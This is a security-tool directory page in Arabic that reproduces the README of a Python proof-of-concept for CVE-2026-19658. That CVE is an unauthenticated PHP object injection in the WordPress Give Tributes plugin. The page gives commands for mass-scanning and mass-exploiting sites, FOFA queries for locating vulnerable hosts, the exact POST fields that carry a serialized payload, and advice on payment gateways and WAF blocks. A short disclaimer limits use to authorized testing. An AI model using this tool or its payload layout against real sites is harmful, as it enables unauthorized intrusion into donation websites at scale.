Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-19658 — مدقق Python 3 ومساعد استغلال لـ CVE-2026-19658، وهي ثغرة حقن كائنات PHP في إضافة WordPress Give Tributes، مع اكتشاف الأهداف عبر FOFA واستغلال نموذج التبرع القديم. | Kitploit
أدوات/GitHubGitHub/murrez/cve-2026-19658
الاستطلاعماسحات الثغرات الأمنيةتحليل الثغرات الأمنيةالاستغلالالبرمجة النصية والأتمتةاستغلال تطبيقات الويبجمع المعلوماتأمن الويباختبار الاختراقتطوير الحمولات
GitHub
15منذ يوم واحدلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
murrez/cve-2026-19658

CVE-2026-19658

مدقق Python 3 ومساعد استغلال لـ CVE-2026-19658، وهي ثغرة حقن كائنات PHP في إضافة WordPress Give Tributes، مع اكتشاف الأهداف عبر FOFA واستغلال نموذج التبرع القديم.

عرض المستودع

CVE-2026-19658 — حقن كائنات PHP غير المصادق عليه في Give Tributes

أداة إثبات مفهوم بلغة Python 3 لفحص واستغلال سلسلة التبرعات الخاصة بـ CVE-2026-19658 في إضافة WordPress المسماة Give - Tributes (Liquid Web / GiveWP).

المنصةإضافة WordPress (تتطلب نواة GiveWP)
المكوّنGive - Tributes
المتأثر≤ 2.3.1
تم الإصلاح في2.3.1.1+ (حقول eCard متعددة المستلمين بعد التنقية)
CVSS9.8 حرج
المصادقةغير مصادق عليه (نموذج التبرع القديم)
CWECWE-502 — إلغاء تسلسل البيانات غير الموثوقة
المُعيِّنWordfence

الملخص

عند تفعيل Allow Multiple Recipients لبطاقات eCards وتعطيل eCard custom message (الافتراضي)، تخزّن الإصدارات المتأثرة بيانات مستلم eCard من $_POST الخام في بيانات التبرع الوصفية (meta). يستخدم التحقق من حقول GiveWP نسخة give_clean() من $_POST (حيث تُفرَّغ السلاسل المتسلسلة هناك)، لكن insert_tribute_data() يقرأ $_POST غير المنقّى، لذا يمكن أن يحتوي first_name / last_name الخاص بالمستلم الثاني على كائن PHP متسلسل.

التأثير: لا توجد سلسلة POP معروفة داخل Give Tributes وحدها. يُلغى تسلسل البيانات الوصفية عند قراءتها (مثل معاينة/إعادة إرسال eCard في لوحة الإدارة). يتطلب تنفيذ التعليمات عن بُعد (RCE) أو تأثيرًا تدميريًا سلسلة أدوات (gadget chain) من إضافة أو قالب آخر مثبّت.

المتطلبات المسبقة من جانب الخادم

  1. Give Tributes ≤ 2.3.1
  2. تفعيل Allow Multiple Recipients (عام أو لكل نموذج)
  3. تعطيل Custom Message لبطاقة eCard (الافتراضي)
  4. نموذج Give القديم العام ([give_form] / v2)، وليس Visual Form Builder الخاص بـ v3 فقط
  5. بوابة دفع قادرة على إتمام تبرع في اختبارك (غالبًا manual في بيئة التطوير/الاختبار)

المتطلبات

  • Python 3.8+
  • pip install -r requirements.txt

البدء السريع

root@kitploit:~
pip install -r requirements.txt

# هدف واحد — فحص (تدفق الطرفية مفعّل افتراضيًا مع --list)
python poc.py -u https://target.example --mode check

# فحص جماعي
python poc.py --list targets.example.txt --mode check --threads 20 --flow

# هدف واحد — استغلال (الأهداف المصرّح بها فقط)
python poc.py -u https://target.example --mode exploit \
  --form-url /donate/ --form-id 123 --gateway manual \
  --payload 'O:8:"stdClass":0:{}'

# استغلال جماعي من مخرجات الفحص
python poc.py --list candidates.jsonl --mode exploit --threads 8 --flow \
  --vuln-list exploited.txt

FOFA → قائمة الأهداف

أمثلة:

root@kitploit:~
body="/wp-content/plugins/give-tributes/"
body="give-tributes" && body="givewp"

قائمة المضيفين (نطاق واحد لكل سطر):

root@kitploit:~
python poc.py --list my_hosts.txt --mode check --threads 20 --flow

تصدير FOFA CSV:

root@kitploit:~
python fofa_to_list.py -i fofa_export.csv
python poc.py --list list.txt --mode check --threads 20

خيارات سطر الأوامر

استخدم --vuln-list exploited.txt في تشغيلات الاستغلال حتى لا تُستبدل نتائج الفحص في hits.txt.

ملفات المخرجات

قيم status في الفحص

لا يمكن للفحص عن بُعد رؤية "Allow Multiple Recipients" بشكل موثوق؛ قد تفشل المرشحات في وقت الاستغلال.

ملاحظات الاستغلال

  • يرسل PoC مستلمَي eCard؛ الحمولة هي حقل first_name الثاني.
  • غالبًا ما تكون بوابة manual معطّلة في بيئة الإنتاج — جرّب البوابات الظاهرة في النموذج (stripe, paypal, test, …).
  • يتطلب النجاح علامات إيصال Give (وليس نص صفحة عام يحتوي على "thank you"). نفس عنوان URL مع بقاء النموذج لا يُحتسب نجاحًا.
  • give validation rejected donation: خيارات tribute/notify، أو المبلغ، أو عدم تطابق البوابة.
  • HTTP 403: جدار حماية تطبيقات الويب (WAF) (Sucuri، MalCare، إلخ) يحجب POST.
  • النماذج الخاصة بـ v3 فقط: استخدم عنوان URL للنموذج القديم أو تخطَّ (يرفض المعالج معرّفات v3 على نقطة النهاية القديمة).

شكل POST (النموذج القديم)

root@kitploit:~
give_tributes_show_dedication=yes
give_tributes_would_to=send_eCard
give_tributes_ecard_notify[recipient][first_name][]=Valid
give_tributes_ecard_notify[recipient][first_name][]=<serialized payload>
give_tributes_ecard_notify[recipient][email][]=<donor email>
give_tributes_ecard_notify[recipient][email][][email protected]
…

هيكل المستودع

root@kitploit:~
.
├── poc.py
├── fofa_to_list.py
├── requirements.txt
├── targets.example.txt
├── README.md
├── LICENSE
└── .gitignore

قوائم الفحص المحلية ومخرجات التشغيل (list.txt، fofa*.csv، *.jsonl، hits.txt، …) موجودة في .gitignore ولا ينبغي إيداعها.

المراجع

  • NVD — CVE-2026-19658
  • Give Tributes readme (fix note 2.3.1.1)
  • GiveWP plugin

قانوني

لأغراض اختبار الأمان المصرّح به والتعليم فقط. أنت مسؤول عن الامتثال للقوانين المعمول بها وقواعد البرامج.

تنزيل الأداة
الخيارالوصف
-u, --urlعنوان URL أساسي واحد
--listقائمة عناوين URL، أو ملف مضيفين، أو candidates.jsonl
--modecheck أو exploit
--form-urlمسار صفحة التبرع أو عنوان URL كامل
--form-idمعرّف منشور نموذج Give
--pathsمسارات إضافية للزحف بحثًا عن النماذج
--payloadكائن متسلسل لـ first_name الخاص بالمستلم الثاني
--gatewaypayment-mode الخاص بـ Give (الافتراضي manual)
--emailgive_email الخاص بالمتبرع
--flowسطر واحد لكل هدف في التشغيلات الجماعية (الافتراضي مع --list)
--no-flowملخص التقدم فقط
--quiet, -qمخرجات طرفية مختصرة
--threads, -jالتزامن الجماعي (الافتراضي 12)
--outputسجل JSONL (الافتراضي cve_2026_19658_results.jsonl)
--vuln-listسطور النتائج النصية / المستغلة (الافتراضي hits.txt)
--candidates-listبيانات JSONL الوصفية للفحص (الافتراضي candidates.jsonl)
الملفالوضعالمحتوى
cve_2026_19658_results.jsonlكلاهماJSON كامل لكل هدف
hits.txtcheckعناوين URL التي تحتوي على exploitable_candidate
candidates.jsonlcheckbest_form، تلميحات الإصدار
exploited.txtexploiturl|payment=… عند تأكيد التبرع
الحالةالمعنى
candidateإضافة متأثرة + Give + نموذج قديم مع واجهة tributes
vulnerable_no_formالإضافة/الإصدار سليم، لم يُعثر على نموذج مناسب في المسارات المزحوفة
patchedTributes > 2.3.1 أو ≥ 2.3.1.1 (عند قراءة الإصدار)
give_onlyGive بدون Tributes قابلة للكشف
no_pluginلم يتم كشف Tributes